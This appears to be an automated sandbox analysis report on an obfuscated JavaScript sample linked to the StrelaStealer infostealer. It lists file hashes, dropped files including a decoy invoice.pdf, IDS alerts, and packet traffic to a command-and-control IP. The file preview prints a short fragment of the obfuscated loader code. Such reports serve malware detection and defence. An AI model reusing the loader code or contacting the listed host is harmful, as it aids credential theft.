SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRw:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRq
MD5:	1C32FC20CB639BB8B95B0B59D4A09691
SHA1:	0076E6BD35D71AD33790C22EC390A8C43553053C
SHA-256:	85492E94CD577383B031A3D4DCC8AA4E92B42CA232707E4889384FBAB25963F1
SHA-512:	D476AFD757B61D85638ED843D9DF88257796FF8D291A77C1751279515F8361C9A6C98BCCE804A0E9B5A52251C14E558C7ECEA81AEF1BCCC733865D10752E4D84
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4a1d9f95-a0ed-4bb7-9b7e-1cb7cae56e19.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\99792acf-d37c-4f8f-823f-f18abf2d02b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a7256578-2b8f-46f7-b7b0-b785906e09b9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c656a602-3825-4ac3-924d-f0c1e9cc80bc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPzWL07oYGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JTwZG5WLxYGZQ3mlind9i4ufFXpAXkrj
MD5:	BD99D26F22EDA09C00DBA928B8CACAE6
SHA1:	CD06E4E9A7E396AE84381E58AF270C7A7EA15DA0
SHA-256:	52B13F7D4F85ADE7E3B79A2AAA281EA9DF60CB4144EB3FF17852B0461ADFA2BD
SHA-512:	3D07C3F48ECC7B24D5B53C7FA0C7276B0E9294847EBDEAE2118F6E9FA38BB76638310EA0573DC07D623A149B2B0A6F9CA9E38A8B134DC88B76E46AB9D14E91DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18291), with CRLF line terminators
Entropy (8bit):	4.896633151277962
TrID:
File name:	2608440261187823817.js
File size:	21'701 bytes
MD5:	4e6c64748aeed9f6bb702586f138dbd6
SHA1:	a794e70d64a4c8f839dbf2f2d77ff32aa7ae5942
SHA256:	4c302f50120fe257c4e399165716920f8e22428cf25465699b92a67fba73c35d
SHA512:	445dd4a983d44f52950810d5fb9040252299ca4c0a794e91bd0bebf029c1aa1829d3f245c432668386008f2e0af22c1b54d4caf51bb0d250cd0e093472722271
SSDEEP:	384:ASlBK8l4hMQ869PodpDteSiPPk+9McWL6F2ga9ksG:ASlBK8l4hhPYhQecWLjgaE
TLSH:	08A2344889AB9B1E52E404DC0AD31C5D1AFDC5ACD4BC936958E528DD8FC2BB235F18F2
File Content Preview:	function sstdlus(){ixlmbb=[1031,3079,5127,4103,2055,3072];var nqyqvnlt=this[frpjkqtr+dzrmsp+ygtxx+mrqlpk+fpkjbgkl+bpdjy+jlxtlvqk+ptgjut](this[ksmfsufqg+hyzghcch+odubi+ygtxx+rzcpuo+frpjkqtr+ptgjut][teevisp+ygtxx+fpkjbgkl+dzrmsp+ptgjut+fpkjbgkl+pkgjnab+qbet

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:43:10.066924+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:43:10.066924+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.7	49699	193.143.1.205	80	TCP
2025-01-11T06:43:13.149786+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.7	49701	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:09.225828886 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:09.230763912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:09.231470108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:09.240499973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:09.245366096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066807032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066847086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066873074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066884995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066895962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066911936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066924095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.066925049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066937923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066951036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.066956997 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.066962957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.067025900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.067106962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.071743011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.118602991 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.129973888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.129987001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.129997969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.130203009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.181024075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.195710897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195739985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195800066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.195871115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195883036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195897102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195908070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195921898 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.195921898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.195976019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.196963072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.196974993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.196993113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197004080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197030067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.197030067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.197726965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197740078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197751999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197757006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197763920 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.197782993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.197853088 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.198580980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.198591948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.198605061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.198658943 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.218491077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.218514919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.218528032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.218548059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.218569994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.218638897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.259280920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.309012890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.309032917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.309047937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.309122086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.324234962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324255943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324270010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324284077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324340105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.324340105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.324558020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324573040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324580908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324594975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.324624062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.324654102 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.325025082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325042009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325057983 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325102091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325112104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.325112104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.325115919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325138092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.325275898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.326041937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326059103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326075077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326087952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326102972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326112032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.326112032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.326118946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326147079 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.326854944 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326869965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326885939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326903105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326919079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.326968908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.326980114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327047110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.327852964 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327868938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327883959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327898026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327903032 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.327912092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.327922106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.327929020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328001022 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.328773022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328789949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328803062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328815937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328830004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328839064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.328845024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.328948021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.329633951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.329647064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.329662085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.329691887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.329715967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.348252058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.348268986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.348320961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.397614002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.397635937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.397728920 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.437690973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437711954 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437731981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437742949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437753916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437767029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.437777996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.437777996 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.437835932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453000069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453046083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453063965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453097105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453226089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453259945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453273058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453288078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453321934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453352928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453365088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453376055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453394890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453406096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453434944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453455925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453480005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453521967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:43:10.453870058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453885078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 06:43:10.453907967 CET	80	49699	193.143.1.205	192.168.2.7
